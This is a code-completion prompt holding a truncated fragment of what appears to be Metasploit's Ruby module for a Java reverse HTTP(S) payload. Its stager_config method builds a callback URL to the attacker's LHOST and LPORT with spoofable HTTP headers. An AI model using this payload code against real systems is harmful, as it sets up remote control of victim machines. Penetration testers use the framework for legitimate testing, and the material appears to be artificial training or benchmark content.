You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: reverse_http.rb
    path of file: ./repos/metasploit-framework/lib/msf/core/payload/java
    
    the code of the file until where you have to start completion: # -*- coding: binary -*-

module Msf

###
#
# Complex payload generation for Java that speaks HTTP(S)
#
###

module Payload::Java::ReverseHttp

  include Msf::Payload::TransportConfig
  include Msf::Payload::Java
  include Msf::Payload::UUID::Options
  include Msf::Payload::Java::PayloadOptions

  #
  # Register Java reverse_http specific options
  #
  def initialize(*args)
    super
    register_advanced_options(
      [
        OptInt.new('StagerURILength', [false, 'The URI length for the stager (at
    
  def stager_config(opts={})
    uri = generate_uri(opts)
    ds = opts[:datastore] || datastore
    c = super

    c << "HeaderUser-Agent=#{ds["HttpUserAgent"]}\n" if ds["HttpUserAgent"]
    c << "HeaderHost=#{ds["HttpHostHeader"]}\n" if ds["HttpHostHeader"]
    c << "HeaderReferer=#{ds["HttpReferer"]}\n" if ds["HttpReferer"]
    c << "HeaderCookie=#{ds["HttpCookie"]}\n" if ds["HttpCookie"]
    c << "URL=#{scheme}://#{ds['LHOST']}"
    c << ":#{ds['LPORT']}" if ds['LPORT']
    c << luri
    c << uri
    c << "\n"

    c
  end